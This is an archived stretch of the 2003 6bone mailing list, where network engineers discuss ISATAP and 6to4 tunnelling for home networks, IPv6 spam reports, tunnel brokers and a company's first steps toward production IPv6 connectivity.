assigned to the ISATAP client on the residential gateway, e.g. via DHCPv6
prefix delegation from the service provider. Then, hosts that are using the
ISATAP client as the IPv6 default gateway can configure addresses as
specified in RFC 2462.

Fred
ftemplin@iprg.nokia.com

>
>Cheers,
>
>Tina Strauf
>
>Am Mit, 2003-07-23 um 19.16 schrieb Fred Templin:
>  
>
>>I've been trying to get the word out on this, but perhaps it needs to be
>>mentioned again. ISATAP can be used to connect a whole net; not just
>>a single client as claimed below. For example, a residential gateway
>>can configure an ISATAP client interface on it's link to the ISP and an
>>ISATAP routing interface (and/or a native IPv6 routing interface) on
>>it's link to the home network. The home network can have arbitrarily
>>many clients; not just a single client.
>>
>>The only other requirement in this case is that the residential gateway
>>procure a prefix delegation for advertisement on the home network.
>>The delegation could come from the ISP (e.g., through DHCPv6
>>prefix delegation) or through some fictitious provider-independent
>>addressing scheme.
>>    
>>



From ftemplin@iprg.nokia.com Mon Jul 28 13:01:36 2003
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Christian,

As I mentioned in my reply to to Tina, 6to4 can only be used when the
residential gateway is assigned a globally routeable IPv4 address and I
agree is the more natural solution in that case. When a globally routeable
IPv4 address is not available, alternative mechanisms (e.g., ISATAP)
are needed.

Fred
ftemplin@iprg.nokia.com

Christian Schild wrote:

>Am Don, 2003-07-24 um 09.59 schrieb Christian Schild:
>  
>
>>Hi Fred,
>>
>>Am Mit, 2003-07-23 um 19.16 schrieb Fred Templin:
>>    
>>
>>>I've been trying to get the word out on this, but perhaps it needs to be
>>>mentioned again. ISATAP can be used to connect a whole net; not just
>>>a single client as claimed below. For example, a residential gateway
>>>can configure an ISATAP client interface on it's link to the ISP and an
>>>ISATAP routing interface (and/or a native IPv6 routing interface) on
>>>it's link to the home network. The home network can have arbitrarily
>>>many clients; not just a single client.
>>>      
>>>
>>I am not sure, if I understood your scenario correctly, because the way
>>you described it here, it may not be possible to configure a residential
>>site.
>>    
>>
>
>Well, I should check back with my collegues sitting next to me more often :-).
>I understand now, you want to advertise and route an additional prefix over 
>the already established ISATAP connection. 
>
>But I share Tinas thoughts that doing so one has to do much more additional 
>configuration and I think 6to4 is the more natural solution in this scenario. 
>
>So long,
>    Christian
>
>  
>



From rain@bluecherry.net Thu Jul 31 22:24:10 2003
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I fixed IPv6 SMTP yesterday, only to discover the wonderful droppings of
a spammer with the audacity to operate over IPv6!

I've posted the spammer's payload at
http://themuffin.net/ipv6-spam/ipv6-spam-2001:0638:0500 and reported it
to Uni-Muenster, who'll hopefully bludgeon those responsible.  The
source IP didn't change for any of the message attempts.

I have to say, though, that this sits somewhere on the fine line between
'sad' and 'ridiculous...'

--=20
Ben Winslow <rain@bluecherry.net>

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From haesu@mx01.bos.ma.towardex.com Thu Jul 31 22:51:52 2003
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Date: Fri, 1 Aug 2003 01:51:37 -0400
From: Haesu <haesu@towardex.com>
To: Ben Winslow <rain@bluecherry.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Nothing is sacred...
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Heh... Looks like spammers figured out that by sending IPv6 version of spam,
they'll get less abuse reports :)

-hc

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

On Fri, Aug 01, 2003 at 01:24:06AM -0400, Ben Winslow wrote:
> I fixed IPv6 SMTP yesterday, only to discover the wonderful droppings of
> a spammer with the audacity to operate over IPv6!
> 
> I've posted the spammer's payload at
> http://themuffin.net/ipv6-spam/ipv6-spam-2001:0638:0500 and reported it
> to Uni-Muenster, who'll hopefully bludgeon those responsible.  The
> source IP didn't change for any of the message attempts.
> 
> I have to say, though, that this sits somewhere on the fine line between
> 'sad' and 'ridiculous...'
> 
> -- 
> Ben Winslow <rain@bluecherry.net>




From john@reva.sixgirls.org Thu Jul 31 23:45:05 2003
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Date: Fri, 1 Aug 2003 02:44:27 -0400 (EDT)
From: John Klos <john@sixgirls.org>
To: Ben Winslow <rain@bluecherry.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Nothing is sacred...
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Hi,

> I fixed IPv6 SMTP yesterday, only to discover the wonderful droppings of
> a spammer with the audacity to operate over IPv6!

IPv6 open relay? We all knew it was a matter of time before we started
seeing SPAM on IPv6...

> I have to say, though, that this sits somewhere on the fine line between
> 'sad' and 'ridiculous...'

I agree. It's depressing.

John Klos
Sixgirls Computing Labs

From tjc@ecs.soton.ac.uk Fri Aug  1 01:52:05 2003
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Date: Fri, 1 Aug 2003 09:51:50 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Nothing is sacred...
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Well, no RBLs available over native v6 yet ;)

On Fri, Aug 01, 2003 at 01:51:37AM -0400, Haesu wrote:
> Heh... Looks like spammers figured out that by sending IPv6 version of spam,
> they'll get less abuse reports :)
> 
> -hc
> 
> -- 
> Sincerely,
>   Haesu C.
>   TowardEX Technologies, Inc.
>   WWW: http://www.towardex.com
>   E-mail: haesu@towardex.com
>   Cell: (978) 394-2867
> 
> On Fri, Aug 01, 2003 at 01:24:06AM -0400, Ben Winslow wrote:
> > I fixed IPv6 SMTP yesterday, only to discover the wonderful droppings of
> > a spammer with the audacity to operate over IPv6!
> > 
> > I've posted the spammer's payload at
> > http://themuffin.net/ipv6-spam/ipv6-spam-2001:0638:0500 and reported it
> > to Uni-Muenster, who'll hopefully bludgeon those responsible.  The
> > source IP didn't change for any of the message attempts.
> > 
> > I have to say, though, that this sits somewhere on the fine line between
> > 'sad' and 'ridiculous...'
> > 
> > -- 
> > Ben Winslow <rain@bluecherry.net>
> 
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From bmanning@ISI.EDU Fri Aug  1 03:32:25 2003
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Subject: Re: [6bone] Nothing is sacred...
In-Reply-To: <20030801085150.GF19355@login.ecs.soton.ac.uk> from Tim Chown at "Aug 1, 3 09:51:50 am"
To: tjc@ecs.soton.ac.uk (Tim Chown)
Date: Fri, 1 Aug 2003 03:32:22 -0700 (PDT)
Cc: 6bone@ISI.EDU
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I've been getting crap for just over a year, generally from addresses
of the form:

	::ffff:xxx

-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From jeroen@unfix.org Fri Aug  1 03:41:45 2003
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To: "'Ben Winslow'" <rain@bluecherry.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] Nothing is sacred...
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Ben Winslow wrote:

> I fixed IPv6 SMTP yesterday, only to discover the wonderful 
> droppings of a spammer with the audacity to operate over IPv6!
> 
> I've posted the spammer's payload at
> http://themuffin.net/ipv6-spam/ipv6-spam-2001:0638:0500 and 
> reported it to Uni-Muenster, who'll hopefully bludgeon those
> responsible.  The
> source IP didn't change for any of the message attempts.
> 
> I have to say, though, that this sits somewhere on the fine 
> line between 'sad' and 'ridiculous...'

No it's actually a good thing for IPv6.
If spammers think they can earn money with IPv6 then
apparently they think there is a market place for it.

Unfortunatly this wasn't just a IPv6 spam.
It's just a stupid open relay which was IPv6 enabled
and found out that your destination could talk IPv6 too.
If your box wasn't IPv6 enabled the spam would arrived
there by means of IPv4. Note the fake "NNFMP" line ;)

Greets,
 Jeroen


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On Fri, Aug 01, 2003 at 09:51:50AM +0100, Tim Chown wrote:
| Well, no RBLs available over native v6 yet ;)
Yes there are :)

And I've written a program to function as middleman between all sorts
of DNSBL programs and an MTA... it can look up IPv6 addresses and map
them to ASN/country too if you wish.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From rwelty@averillpark.net Fri Aug  1 08:16:56 2003
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Subject: [6bone] how to hook up?
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warning: this is going to be a fairly naive posting...

i've some interest in getting ipv6 running in my home network. i'm sitting
on a road runner cable modem, and the folks at the road runner noc told me
"try again in 6 months" when i inquired about any potential ipv6 trials on
their network.

so i'd like some advice on how to find someone to tunnel to. i am currently
running an OpenBSD 3.3 firewall gatewaying between road runner and my home
network and gather that it should make for a perfectly adequate terminus
for an IPv6 tunnel. i've found a very nice document already explaining how
to set up the pf firewall rules on the ipv6 side, and on setting up the
endpoint of the tunnel, i just need to find someone to connect to.

thanks in advance,
  richard
--
Richard Welty                                         rwelty@averillpark.net
Averill Park Networking                                         518-573-7592
    Java, PHP, PostgreSQL, Unix, Linux, IP Network Engineering, Security



From uriah_pollock@mentorg.com Fri Aug  1 08:27:49 2003
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Subject: RE: [6bone] how to hook up?
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Richard,

Check out www.freenet6.net . I recently setup a NetBSD box using their
script and it went very smoothly. They have all the directions and info. you
need to do it.

Have fun!

  U



-----Original Message-----
From: Richard Welty [mailto:rwelty@averillpark.net]
Sent: Friday, August 01, 2003 10:14 AM
To: 6bone@ISI.EDU
Subject: [6bone] how to hook up?


warning: this is going to be a fairly naive posting...

i've some interest in getting ipv6 running in my home network. i'm sitting
on a road runner cable modem, and the folks at the road runner noc told me
"try again in 6 months" when i inquired about any potential ipv6 trials on
their network.

so i'd like some advice on how to find someone to tunnel to. i am currently
running an OpenBSD 3.3 firewall gatewaying between road runner and my home
network and gather that it should make for a perfectly adequate terminus
for an IPv6 tunnel. i've found a very nice document already explaining how
to set up the pf firewall rules on the ipv6 side, and on setting up the
endpoint of the tunnel, i just need to find someone to connect to.

thanks in advance,
  richard
--
Richard Welty                                         rwelty@averillpark.net
Averill Park Networking                                         518-573-7592
    Java, PHP, PostgreSQL, Unix, Linux, IP Network Engineering, Security


_______________________________________________
6bone mailing list
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http://mailman.isi.edu/mailman/listinfo/6bone

From jeroen@unfix.org Fri Aug  1 09:07:02 2003
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To: "'Richard Welty'" <rwelty@averillpark.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] how to hook up?
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Richard Welty wrote:

> warning: this is going to be a fairly naive posting...
> 
> i've some interest in getting ipv6 running in my home 
> network. i'm sitting on a road runner cable modem, and the folks at the
road 
> runner noc told me "try again in 6 months" when i inquired about any
potential 
> ipv6 trials on their network.

Keep calling them every month, maybe that will help ;)

> so i'd like some advice on how to find someone to tunnel to. 
> i am currently running an OpenBSD 3.3 firewall gatewaying between road 
> runner and my home network and gather that it should make for a perfectly 
> adequate terminus for an IPv6 tunnel. i've found a very nice document
already 
> explaining how to set up the pf firewall rules on the ipv6 side, and on 
> setting up the endpoint of the tunnel, i just need to find someone to
connect to.

Probably your best bet in the US would be Hurricane Electric,
http://ipv6.he.net
An alternative could be FreeNet6, http://www.freenet6.net

In any way you should choose the nearest connectivity point possible.
It would be great if the roadrunner people started doing IPv6 even
on a tunneled basis so the termination point is closest to their
customers...
And nopes, no SixXS pops in the US :(

Greets,
 Jeroen


From rwelty@averillpark.net Fri Aug  1 09:58:52 2003
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Subject: Re[2]: [6bone] how to hook up?
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On Fri, 1 Aug 2003 18:06:55 +0200 Jeroen Massar <jeroen@unfix.org> wrote:
> Probably your best bet in the US would be Hurricane Electric,
> http://ipv6.he.net
> An alternative could be FreeNet6, http://www.freenet6.net

thanks for the advice, everyone. the hurricane electric tunnelbroker turned
out to be very easy to cope with.
 
> In any way you should choose the nearest connectivity point possible.

it turns out that i'm less than 20ms away across the aol-time warner
network from he's NYC peering with with them, which will probably be
hard to beat until roadrunner starts their own service.

> It would be great if the roadrunner people started doing IPv6 even
> on a tunneled basis so the termination point is closest to their
> customers...

yes, that was what i was hoping for when i originally started prodding the
road runner folks. for what it's worth, i was able to prod a lead network
engineer there w/o dealing with sales. i think the once-a-month pokes
should be aimed at sales, the engineers know they need to deal with this. i
happen to know some marketing wonks at road runner, i'll have to start
making their lives miserable.

richard
--
Richard Welty                                         rwelty@averillpark.net
Averill Park Networking                                         518-573-7592
    Java, PHP, PostgreSQL, Unix, Linux, IP Network Engineering, Security



From jeroen@unfix.org Fri Aug  1 13:53:46 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Richard Welty'" <rwelty@averillpark.net>, <6bone@ISI.EDU>
Subject: RE: Re[2]: [6bone] how to hook up?
Date: Fri, 1 Aug 2003 22:53:44 +0200
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Richard Welty wrote:

> yes, that was what i was hoping for when i originally started 
> prodding the road runner folks. for what it's worth, i was able to prod a 
> lead network engineer there w/o dealing with sales. i think the
once-a-month pokes
> should be aimed at sales, the engineers know they need to 
> deal with this. i happen to know some marketing wonks at road runner,
> i'll have to start making their lives miserable.

Now THAT is the spirit :)
(And quite possibly the only way to get them to innovate over there :(

/me passes out some cluebats... have fun <evil>
Or that LART that the AMS-IX guys took along to Megabit
could do wonders too I guess, at least those dworfs flew quite far :)

Greets,
 Jeroen


From todd@shadow.fries.net Sat Aug  2 06:00:15 2003
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Sortof in line with this thread, in preparing for `upstream peering' of an
ARIN delegated IPv6 allocation of /32 (haven't contacted ARIN yet, when would
be the best timeframe if the target allocation is to be billed 1yr from
November/December timeframe?) .. how does one get a list of `upstream'
providers willing to tunnel to an ISP receiving such a delegation?

I understand locating the closest one (hopcount/ping time) wise is fruitful,
with all the `tunnel brokers' out there I didn't know if there was a list for
/32 allocations to use as upstream or are they the same?

Along these same lines, is an isp allowed to select multiple upstream tunnels
and use BGP with them?  (cox.net is the upstream for the isp in quesiton, and
it does not do native IPv6).

Thanks,
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
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(last updated 2003/03/13 07:14:10)


From gert@Space.Net Sat Aug  2 11:25:27 2003
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From: Gert Doering <gert@space.net>
To: "Todd T. Fries" <todd@fries.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: how to hook up?
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Hi,

On Sat, Aug 02, 2003 at 07:56:28AM -0500, Todd T. Fries wrote:
> Along these same lines, is an isp allowed to select multiple upstream tunnels
> and use BGP with them?  

That's a quite typical way how it's done these days.  Try to find one (or
more) native upstreams, and if none are available, use (short!) tunnels,
and then tell your IPv4-only upstreams that you're not going to prolong 
your contract unless they add IPv6 connectivity...

The main thing about tunnels: don't announce stuff over them that you
wouldn't announce over a "native upstream connection" - so don't try to
do people "a favour" by sending their routes out over all your tunnel
BGP peerings (unless they ask you to do that).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55442  (55636)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Mon Aug  4 06:10:16 2003
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Date: Mon, 4 Aug 2003 14:10:13 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] Nothing is sacred...
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On Fri, Aug 01, 2003 at 03:35:20PM +0200, Pim van Pelt wrote:
> On Fri, Aug 01, 2003 at 09:51:50AM +0100, Tim Chown wrote:
> | Well, no RBLs available over native v6 yet ;)
> Yes there are :)

Well, which? :)
 
> And I've written a program to function as middleman between all sorts
> of DNSBL programs and an MTA... it can look up IPv6 addresses and map
> them to ASN/country too if you wish.

OK, agreed proxies can fill a short-term need.

Tim

From Matt.Carpenter@alticor.com Mon Aug  4 11:16:23 2003
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Thank you all for the last thread, it has helped me quite far along the 
lines of getting connected.

If anyone is alergic to newbies, please skip reading the rest of this 
note.  I know that there is so much that I have not figured out yet about 
v6 that I'm bound to provide some entertainment to those who are still 
reading.  Please be patient.  Thanks.

I am attempting to get connected to 6bone from my v6-test-network. 
Everything seems to connect correctly (many thanks to this thread and the 
Freenet6), except I am getting some radvd startup errors.  NOTE: I DO NOT 
HAVE A /48 ADDRESS RANGE CURRENTLY CONFIGURED ON THIS GATEWAY OR NETWORK. 
I am, however, asking for a /48 network from Freenet6.
The problem with configuring an IP range is that I have to know which 
range to use, right?  I'm a little lost in this arena.  On the Freenet6's 
site there is documentation on "How to request a /48 IPv6 prefix"  but it only really covers signing up 
for an account and configuring TSP appropriately...  Meanwhile, radvd is 
giving me absolutely NO help (output is nonexistent, even with -d 99).  Do 
I need to have an IP range configured on the network prior to starting the 
tunnel and requesting routing?  Is there some other hocus pocus I need to 
do to be assigned a range?  I'm about out of goats and completely out of 
rams, and I'm still not working.  Is there a third Thursday with a full 
moon coming up? 

Thanks in advance for your help!
dot1q
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<br><font size=2 face="sans-serif">Thank you all for the last thread, it has helped me quite far along the lines of getting connected.</font>
<br>
<br><font size=2 face="sans-serif">If anyone is alergic to newbies, please skip reading the rest of this note. &nbsp;I know that there is so much that I have not figured out yet about v6 that I'm bound to provide some entertainment to those who are still reading. &nbsp;Please be patient. &nbsp;Thanks.</font>
<br>
<br><font size=2 face="sans-serif">I am attempting to get connected to 6bone from my v6-test-network. &nbsp;Everything seems to connect correctly (many thanks to this thread and the Freenet6), except I am getting some radvd startup errors. &nbsp;NOTE: I DO NOT HAVE A /48 ADDRESS RANGE CURRENTLY CONFIGURED ON THIS GATEWAY OR NETWORK. &nbsp;I am, however, asking for a /48 network from Freenet6.</font>
<br><font size=2 face="sans-serif">The problem with configuring an IP range is that I have to know which range to use, right? &nbsp;I'm a little lost in this arena. &nbsp;On the Freenet6's site there is documentation on &quot;How to request a /48 IPv6 prefix&quot; &nbsp;but it only really covers signing up for an account and configuring TSP appropriately... &nbsp;Meanwhile, radvd is giving me absolutely NO help (output is nonexistent, even with -d 99). &nbsp;Do I need to have an IP range configured on the network prior to starting the tunnel and requesting routing? &nbsp;Is there some other hocus pocus I need to do to be assigned a range? &nbsp;I'm about out of goats and completely out of rams, and I'm still not working. &nbsp;Is there a third Thursday with a full moon coming up? &nbsp;</font>
<br>
<br><font size=2 face="sans-serif">Thanks in advance for your help!</font>
<br><font size=2 face="sans-serif">dot1q</font>
--=_alternative 00647A2585256D78_=--

From Matt.Carpenter@alticor.com Mon Aug  4 12:36:25 2003
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Again, here is my disclaimer:
        "The parties herein do not assume to know anything whatsoever that 
is important and will rely on your patience and knowledge to determine any 
disconnects in logic or knowledge of IPv6.  The individuals responsible 
will and do actively RTFM when available and will not shudder at the 
response 'RTFM', so long as sending party includes a link or a way to 
FTFM... etcetera"
Thank you.

<MEAT>
I am working with my company to determine how to get involved with a 
production IPv6 Internet, as one develops.  I am aware that the 6bone is 
apparently scheduled for decommisioning as of Internet Draft 6Bone 
PhaseOut 
(http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-04.txt), 
and am left to assume that there is something else that is taking it's 
place.  I also am aware of the need in many countries for address-space 
which will be pushing IPv6 Internet to fruition. 

What options are available for a Production IPv6 Internet and how does it 
relate to the IPv4 Internet?
        Are there tunnel options for that network as well?
        Or does it require a "ISP-Provided" connection?
        Does one even exist currently?
        Does it touch the v4 Internet or is it a separate entity?

</MEAT>

Thank you all in advance!
Matt
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<br><font size=2 face="sans-serif">Again, here is my disclaimer:</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; &quot;The parties herein do not assume to know anything whatsoever that is important and will rely on your patience and knowledge to determine any disconnects in logic or knowledge of IPv6. &nbsp;The individuals responsible will and do actively RTFM when available and will not shudder at the response 'RTFM', so long as sending party includes a link or a way to FTFM... etcetera&quot;</font>
<br><font size=2 face="sans-serif">Thank you.</font>
<br>
<br><font size=2 face="sans-serif">&lt;MEAT&gt;</font>
<br><font size=2 face="sans-serif">I am working with my company to determine how to get involved with a production IPv6 Internet, as one develops. &nbsp;I am aware that the 6bone is apparently scheduled for decommisioning as of Internet Draft 6Bone PhaseOut (http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-04.txt), and am left to assume that there is something else that is taking it's place. &nbsp;I also am aware of the need in many countries for address-space which will be pushing IPv6 Internet to fruition. &nbsp;</font>
<br>
<br><font size=2 face="sans-serif">What options are available for a Production IPv6 Internet and how does it relate to the IPv4 Internet?</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Are there tunnel options for that network as well?</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Or does it require a &quot;ISP-Provided&quot; connection?</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Does one even exist currently?</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Does it touch the v4 Internet or is it a separate entity?</font>
<br>
<br><font size=2 face="sans-serif">&lt;/MEAT&gt;</font>
<br>
<br><font size=2 face="sans-serif">Thank you all in advance!</font>
<br><font size=2 face="sans-serif">Matt</font>
--=_alternative 006BD18C85256D78_=--

From gert@Space.Net Mon Aug  4 13:30:16 2003
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From: Gert Doering <gert@space.net>
To: Matt.Carpenter@alticor.com
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Corporation wishing to get connected to the new v6 Internet
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Hi,

On Mon, Aug 04, 2003 at 03:34:18PM -0400, Matt.Carpenter@alticor.com wrote:
> What options are available for a Production IPv6 Internet and how does it 
> relate to the IPv4 Internet?
>         Are there tunnel options for that network as well?

To get started, and to collect experience, this is a frequently practiced
method.

>         Or does it require a "ISP-Provided" connection?

Anything native would be better.

>         Does one even exist currently?

This is very hard to answer.  Some ISPs, especially in the AP and EU
region, already run production quality IPv6 networks.  Others are 
connected to that, and run IPv6 on older and slower routers, connected
via tunnels, which isn't really production ready yet.

>         Does it touch the v4 Internet or is it a separate entity?

For some ISPs, it's dual-stacked on the same routers and leased lines.

For others, it's a separate network with a different set of routers.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  56318  (55442)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From Matt.Carpenter@alticor.com Mon Aug  4 13:40:43 2003
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Thanks, Kurt!

We have not asked our ISPs about the service yet.  I'm trying to gather 
information before even pushing my boss to consider it, and he would end 
up being involved in the ISP conversation.  I'm attempting to have all my 
ducks in a row before chatting with the decisionmakers, including 
cost/value relationships for the various options of connectivity.
We aren't even looking to rollow out V6 internally until there is a 
"customer need" that arises.  I'm trying to stay ahead of the curve and 
bring up the important questions before crunch time, as well as possibly 
get our network playing on the V6net beforehand.  But if I go to my boss 
and ask him about paying our ISP for a service that our customers haven't 
requested, he won't even consider what I'm trying to say.  If I go to him 
with my ducks in a row, offering possibly free/cheap tunnelling to get our 
feet wet, and the option to pay to secure our place on the new network, 
he'll have something to chew on, at least long enough to delay the "no" 
into a "not yet, but perhaps <something>....".

If the IPv4 and v6 networks touch, is each ISP a little v6 bubble or is 
there one cohesive v6 network which is just invisible to the v4 world?
We are considered an ISP in the v4 world, although our customers are 
typically affiliated with us in some way, and one of them is a major B2C 
ecommerce site.  While we are interested in being a part of the new 
network space, availability from the v4 Internet is key until it's death. 
This may mean dual-address-spaces, I realize, but when you're selling 
stuff you want to be available to as many pocketbooks as possible.  Thus, 
if IPv4 is accessible from all and v6 is not, the impetus is to either 
stick with v4 or do both.

Thank you for your fast response.  I look forward to hearing more, as well 
as getting connected to the 6bone from my test net.

Matthew Carpenter
Alticor Network Services





Kurt Jaeger <lists@complx.LF.net>
08/04/2003 04:06 PM
Please respond to pi

 
        To:     Matt.Carpenter@alticor.com
        cc: 
        Subject:        Re: [6bone] Corporation wishing to get connected to the new v6 Internet


Hi!

> <MEAT>
> I am working with my company to determine how to get involved with a 
> production IPv6 Internet, as one develops.

First step: Have you asked Your ISP for v6 connectivity ?

Have you asked ISPs in your neigbourhood if they can provide v6 ?

>         Are there tunnel options for that network as well?

Yes, probably.

>         Or does it require a "ISP-Provided" connection?

This is preferred.

>         Does one even exist currently?

Depends on your ISP.

>         Does it touch the v4 Internet or is it a separate entity?

It touches the v4 net.

-- 
MfG/Best regards, Kurt Jaeger                                  17 years to 
go !
LF.net GmbH        fon +49 711 90074-23  pi@LF.net 
Ruppmannstr. 27    fax +49 711 90074-33
D-70565 Stuttgart  mob +49 171 3101372



--=_alternative 0071B33585256D78_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Thanks, Kurt!</font>
<br>
<br><font size=2 face="sans-serif">We have not asked our ISPs about the service yet. &nbsp;I'm trying to gather information before even pushing my boss to consider it, and he would end up being involved in the ISP conversation. &nbsp;I'm attempting to have all my ducks in a row before chatting with the decisionmakers, including cost/value relationships for the various options of connectivity.</font>
<br><font size=2 face="sans-serif">We aren't even looking to rollow out V6 internally until there is a &quot;customer need&quot; that arises. &nbsp;I'm trying to stay ahead of the curve and bring up the important questions before crunch time, as well as possibly get our network playing on the V6net beforehand. &nbsp;But if I go to my boss and ask him about paying our ISP for a service that our customers haven't requested, he won't even consider what I'm trying to say. &nbsp;If I go to him with my ducks in a row, offering possibly free/cheap tunnelling to get our feet wet, and the option to pay to secure our place on the new network, he'll have something to chew on, at least long enough to delay the &quot;no&quot; into a &quot;not yet, but perhaps &lt;something&gt;....&quot;.</font>
<br>
<br><font size=2 face="sans-serif">If the IPv4 and v6 networks touch, is each ISP a little v6 bubble or is there one cohesive v6 network which is just invisible to the v4 world?</font>
<br><font size=2 face="sans-serif">We are considered an ISP in the v4 world, although our customers are typically affiliated with us in some way, and one of them is a major B2C ecommerce site. &nbsp;While we are interested in being a part of the new network space, availability from the v4 Internet is key until it's death. &nbsp;This may mean dual-address-spaces, I realize, but when you're selling stuff you want to be available to as many pocketbooks as possible. &nbsp;Thus, if IPv4 is accessible from all and v6 is not, the impetus is to either stick with v4 or do both.</font>
<br>
<br><font size=2 face="sans-serif">Thank you for your fast response. &nbsp;I look forward to hearing more, as well as getting connected to the 6bone from my test net.</font>
<br>
<br><font size=2 face="sans-serif">Matthew Carpenter</font>
<br><font size=2 face="sans-serif">Alticor Network Services</font>
<br>
<br>
<br>
<br>
<table width=100%>
<tr valign=top>
<td>
<td><font size=1 face="sans-serif"><b>Kurt Jaeger &lt;lists@complx.LF.net&gt;</b></font>
<p><font size=1 face="sans-serif">08/04/2003 04:06 PM</font>
<br><font size=1 face="sans-serif">Please respond to pi</font>
<br>
<td><font size=1 face="Arial">&nbsp; &nbsp; &nbsp; &nbsp; </font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; To: &nbsp; &nbsp; &nbsp; &nbsp;Matt.Carpenter@alticor.com</font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; cc: &nbsp; &nbsp; &nbsp; &nbsp;</font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Subject: &nbsp; &nbsp; &nbsp; &nbsp;Re: [6bone] Corporation wishing to get connected to the new v6 Internet</font></table>
<br>
<br>
<br><font size=2 face="Courier New">Hi!<br>
<br>
&gt; &lt;MEAT&gt;<br>
&gt; I am working with my company to determine how to get involved with a <br>
&gt; production IPv6 Internet, as one develops.<br>
<br>
First step: Have you asked Your ISP for v6 connectivity ?<br>
<br>
Have you asked ISPs in your neigbourhood if they can provide v6 ?<br>
<br>
&gt; &nbsp; &nbsp; &nbsp; &nbsp; Are there tunnel options for that network as well?<br>
<br>
Yes, probably.<br>
<br>
&gt; &nbsp; &nbsp; &nbsp; &nbsp; Or does it require a &quot;ISP-Provided&quot; connection?<br>
<br>
This is preferred.<br>
<br>
&gt; &nbsp; &nbsp; &nbsp; &nbsp; Does one even exist currently?<br>
<br>
Depends on your ISP.<br>
<br>
&gt; &nbsp; &nbsp; &nbsp; &nbsp; Does it touch the v4 Internet or is it a separate entity?<br>
<br>
It touches the v4 net.<br>
<br>
-- <br>
MfG/Best regards, Kurt Jaeger &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;17 years to go !<br>
LF.net GmbH &nbsp; &nbsp; &nbsp; &nbsp;fon +49 711 90074-23 &nbsp;pi@LF.net &nbsp;<br>
Ruppmannstr. 27 &nbsp; &nbsp;fax +49 711 90074-33<br>
D-70565 Stuttgart &nbsp;mob +49 171 3101372<br>
</font>
<br>
<br>
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From Matt.Carpenter@alticor.com Mon Aug  4 13:42:30 2003
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Subject: Re: [6bone] Corporation wishing to get connected to the new v6 Internet
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Thanks Gert!



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<br><font size=2 face="sans-serif">Thanks Gert!</font>
<br>
<br>
<br>
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From Matt.Carpenter@alticor.com Mon Aug  4 14:26:46 2003
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Thanks, Todd, for both emails.
I am looking at the he.net site right now and am considering scrapping the 
freenet6 for a while as the he.net tunnel uses standard sit-tunnelling and 
the freenet6 uses tsp.  he.net's documentation, while less complete, is a 
little more friendly (like stating that the tunnel will not be available 
for a couple days so I don't run myself in loops trying to connect :)

But they are both using the 6bone in some fashion, which I was under the 
impression was going away...  freenet6 IS on the 6bone, and it looks like 
he.net is mentioning being connected to the 6bone network, even though the 
address space is 2001: (which, if I'm not mistaken, is NOT part of the 
6bone address-space, correct?).  I still have yet to see what IPv6 network 
I should use locally for either network, so I'm still sitting here with my 
arms crossed (which can make typing difficult) twiddling my thumbs 
waiting...

It is appearing that production IPv6 networks are currently mostly 
disparate, funnels to the IPv4 Internet.  Is that correct?  And are there 
a few that are big enough that would warrant creating tunnels to them 
specifically so as to bring them together (eg. if I'm connected to the 
he.net's network, also connecting to an IPv6 network in Asia (or 
someplace) with a huge presence)?  Or are they pretty much their own 
little world?

Thank you for the direction.  This is the type of information I was hoping 
for.

DOH!  I take it back.  I've been allocated a prefix! <contented smile>
Well, that's for the test network.  Still so many unknowns, though :) 
We'll see what fun that brings... and then possibly propose something to 
the boss.

Thanks again,

Matt





"Todd T. Fries" <todd@fries.net>
08/04/2003 04:58 PM
Please respond to todd

 
        To:     Matt.Carpenter@alticor.com
        cc: 
        Subject:        Re: [6bone] Corporation wishing to get connected to the new v6 Internet


